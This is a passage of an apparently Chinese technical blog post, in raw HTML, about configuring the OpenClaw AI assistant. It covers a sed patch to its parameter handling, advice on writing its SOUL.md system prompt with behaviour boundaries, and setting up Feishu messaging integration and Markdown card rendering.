Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">7</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">8</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">9</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">10</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span style="color: #d6baad;"><span leaf=""># 幂等检查——grep 先看有没有打过</span></span><span leaf=""><br/></span><span style="color: #98676a;"><span leaf="">if</span></span><span leaf=""> ! grep -q</span><span style="color: #889b4a;"><span leaf=""> &#39;enable_thinking&#39;</span></span><span style="color: #889b4a;"><span leaf=""> &#34;</span><span style="color: #dc3958;"><span leaf="">$EXTRA_PARAMS</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null;</span><span style="color: #98676a;"><span leaf=""> then</span></span><span leaf=""><br/></span><span leaf="">    sed -i</span><span style="color: #889b4a;"><span leaf=""> &#39;&#39;</span></span><span style="color: #889b4a;"><span leaf=""> &#39;/if (Object\.keys(streamParams)\.length &gt; 0)/i\</span></span><span leaf=""><br/></span><span style="color: #98676a;"><span leaf="">    if</span></span><span leaf=""> (typeof extraParams.enable_thinking ===</span><span style="color: #889b4a;"><span leaf=""> &#34;boolean&#34;</span></span><span leaf="">) {\</span><span leaf=""><br/></span><span leaf="">        streamParams.enable_thinking = extraParams.enable_thinking;\</span><span leaf=""><br/></span><span leaf="">    }</span><span style="color: #889b4a;"><span leaf="">&#39; &#34;$EXTRA_PARAMS&#34;</span></span><span leaf=""><br/></span><span style="color: #f79a32;"><span leaf="">    echo</span></span><span style="color: #889b4a;"><span leaf=""> &#34;[patch] enable_thinking added to extra-params.js&#34;</span></span><span leaf=""><br/></span><span style="color: #98676a;"><span leaf="">else</span></span><span leaf=""><br/></span><span style="color: #f79a32;"><span leaf="">    echo</span></span><span style="color: #889b4a;"><span leaf=""> &#34;[patch] extra-params.js already patched&#34;</span></span><span leaf=""><br/></span><span style="color: #98676a;"><span leaf="">fi</span></span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">第二个补丁点比较复杂，用 sed 不好精确定位 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">buildParams</span></code><span leaf=""> 里的那个 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">return params</span></code><span leaf="">（文件里有多处），所以用了 Python 做字符串替换，通过匹配上下文函数名（</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">maybeAddOpenRouterAnthropicCacheControl</span></code><span leaf="">）来锚定位置。</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: #009874;font-weight: bold;text-align: center;padding: 0.3em 1em;border-radius: 8px;font-size: 20.8px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);"><span leaf="">SOUL.md</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">SOUL.md 是 OpenClaw 的系统 Prompt 文件，相当于 AI 助手的&#34;灵魂&#34;。Gateway 启动时通过 boot-md Hook 加载到每个会话的上下文里。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">人格基调</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">把 prompt 包装成&#34;灵魂&#34;&#34;人格&#34;&#34;觉醒&#34;，本质上还是在写 prompt。模型不会因为你告诉它&#34;你正在成为某个人&#34;就真的产生自我意识，它只是在统计概率上调整输出风格。问题是很多人把这当成在&#34;培养 AI&#34;，给它写使命宣言、人生哲学，觉得写得越感人效果越好。实际上模型只看到一串 token，&#34;真诚&#34;和&#34;回复不超过 3 句话&#34;相比，后者效果好十倍。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">AI 工具的价值取决于你的使用方式，而不是怎么&#34;感动&#34;它。“智械危机”真要来了也轮不到咱们操心，与其写一堆&#34;你是一个有帮助的AI助手&#34;之类的废话，不如直接定义行为边界：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">4</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">5</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">提供真正的帮助，而不是表演式的帮助。不要说“好问题！”或“我很乐意帮你！”之类的套话，直接解决问题。</span><span leaf=""><br/></span><span leaf="">保持有自己的观点。你可以不同意、可以表达偏好，也可以指出某些内容好笑、无聊或不重要。</span><span leaf=""><br/></span><span leaf="">在提问前先自行查找。优先自己动手：阅读文件、检查上下文、搜索相关信息。如果仍然无法解决，再提出问题。</span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">核心思路是：少说多做，有事说事，别端着。&#34;Great question!&#34; 这种 AI 味的客套话在 IM 对话里特别违和，直接在 Prompt 里禁掉效果很好。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">行为边界</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">给 AI 工具权限之后，哪些事情可以自主做、哪些必须先问，这条线要画清楚：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">你的使用者把他们的内容和环境交给了你，别让他们后悔。  </span><span leaf=""><br/></span><span leaf="">对外部行为要谨慎处理（例如邮件、发帖、任何公开动作），无论何时都要取得许可。  </span><span leaf=""><br/></span><span leaf="">对内部行为可以大胆一些（阅读、学习），但凡涉及整理或修改内容，即使获得了用户许可，也必须事先做好备份。</span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">翻译过来就是：读文件、搜索信息这些内部操作随便来；发邮件、发消息、发帖子这些对外操作必须谨慎，拿不准就先问。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">语言偏好</span></h3><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">永远说中文。除非用户明确要求使用其他语言。</span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">简单粗暴但有效。不写这条的话，模型会根据上下文语言自动切换，在中英混排的技术讨论里经常突然蹦出英文回复。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">工具调用规则</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">大模型调用工具时的参数传递经常有低级问题。与其每次排查 Bug，不如把踩过的坑直接写进 SOUL.md，比如：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span style="color: #f06431;"><span leaf="">## Tool Usage</span></span><span leaf=""><br/></span><span leaf="">发邮件时 bccRecipients 和 ccRecipients 传空数组 [] 而不是 null。</span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">这条规则源于 mog 邮件工具的一个 Bug：接口定义了 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">bccRecipients: string[]</span></code><span leaf=""> 类型，但模型在判断&#34;不需要密送&#34;时倾向于传 null 而不是空数组，类型校验直接报错。在 SOUL.md 里写死规则后再没出过这个问题。</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: #009874;font-weight: bold;text-align: center;padding: 0.3em 1em;border-radius: 8px;font-size: 20.8px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);"><span leaf="">飞书集成</span></h2><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">连接方式</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">飞书开放平台支持 WebSocket 长连接模式，不需要公网回调地址，对内网部署很友好。相比 Webhook 模式，WebSocket 省去了域名、证书、端口映射，已经有大佬开发了成熟的插件。</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">OpenClaw plugins install @m1heng-clawd/feishu</span><span leaf=""><br/></span><span leaf="">OpenClaw config</span><span style="color: #f79a32;"><span leaf=""> set</span></span><span leaf=""> channels.feishu \</span><span leaf=""><br/></span><span style="color: #889b4a;"><span leaf="">  &#39;{&#34;enabled&#34;:true,&#34;appId&#34;:&#34;your_app_id&#34;,&#34;appSecret&#34;:&#34;your_secret&#34;}&#39;</span></span><span leaf=""> --json</span></p></div></div></code></pre><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">消息触发机制</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">这里有两层开关，容易混淆：</span></p><ol style="margin-left: 0;color: #3f3f3f;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">1. </span><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">飞书后台</span></strong><span leaf="">的「接收群组中所有消息」权限——控制消息能不能到达你的应用。不开的话，只有 @机器人 的消息才会被推送过来。</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">2. </span><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">OpenClaw 配置</span></strong><span leaf="">的 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">requireMention</span></code><span leaf=""> 字段——控制收到消息后要不要处理。设为 true 则只响应 @消息，设为 false 则所有收到的消息都处理。</span></p></li></ol><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">两层都打开才是真正的&#34;全量消息&#34;模式。只开飞书权限不关 requireMention，消息虽然到了但 OpenClaw 会忽略非 @消息；反过来只关 requireMention 不开飞书权限，消息根本到不了 OpenClaw。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">全量模式要谨慎。开了之后机器人对群内每条消息都会尝试响应，包括表情包、&#34;收到&#34;、&#34;好的&#34;之类的，体验很差且浪费 Token。如果确实需要让机器人&#34;旁听&#34;做总结或知识沉淀，建议在 SOUL.md 里加明确的触发条件过滤。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">另外 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ackReactionScope: &#34;group-mentions&#34;</span></code><span leaf=""> 控制&#34;已收到&#34; Reaction 的发送范围，当前设置是只在群聊被 @ 时才发 Reaction 反馈，避免在全量模式下每条消息都打一个勾。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">Markdown 渲染问题</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">大模型的输出天然带 Markdown 格式，但飞书的纯文本消息不渲染 Markdown。用户看到的是 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">**粗体**</span></code><span leaf=""> 和 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">- 列表项</span></code><span leaf=""> 这种原始标记。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">解决这个问题的过程走了点弯路。一开始的思路是&#34;既然飞书不渲染 Markdown，那就让模型别输出 Markdown&#34;，于是配了 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">capabilities.markdown: false</span></code><span leaf=""> 告诉 OpenClaw 飞书不支持 Markdown，期望模型会自动调整输出格式。实际效果一般——模型偶尔还是会蹦出 Markdown 语法。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">后来发现 OpenClaw 飞书插件支持 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">renderMode: &#34;card&#34;</span></code><span leaf=""> 配置，把消息以飞书卡片形式发送，卡片内容原生支持 Markdown 渲染。这才是正解——与其约束模型不用 Markdown，不如让渠道支持 Markdown。</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">OpenClaw config</span><span style="color: #f79a32;"><span leaf=""> set</span></span><span leaf=""> channels.feishu.renderMode card</span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">但这个配置只对群聊消息生效。私聊走 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">outbound.ts</span></code><span leaf=""> 的独立发送逻辑，这条路径没读 renderMode 配置。需要手动改 outbound.ts，在 sendText 方法里加 renderMode 判断，当值为 card 时调用 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sendMarkdownCardFeishu</span></code><span leaf=""> 替代默认的纯文本发送。</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: #009874;font-weight: bold;text-align: center;padding: 0.3em 1em;border-radius: 8px;font-size: 20.8px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);"><span leaf="">零碎踩坑</span></h2><h3 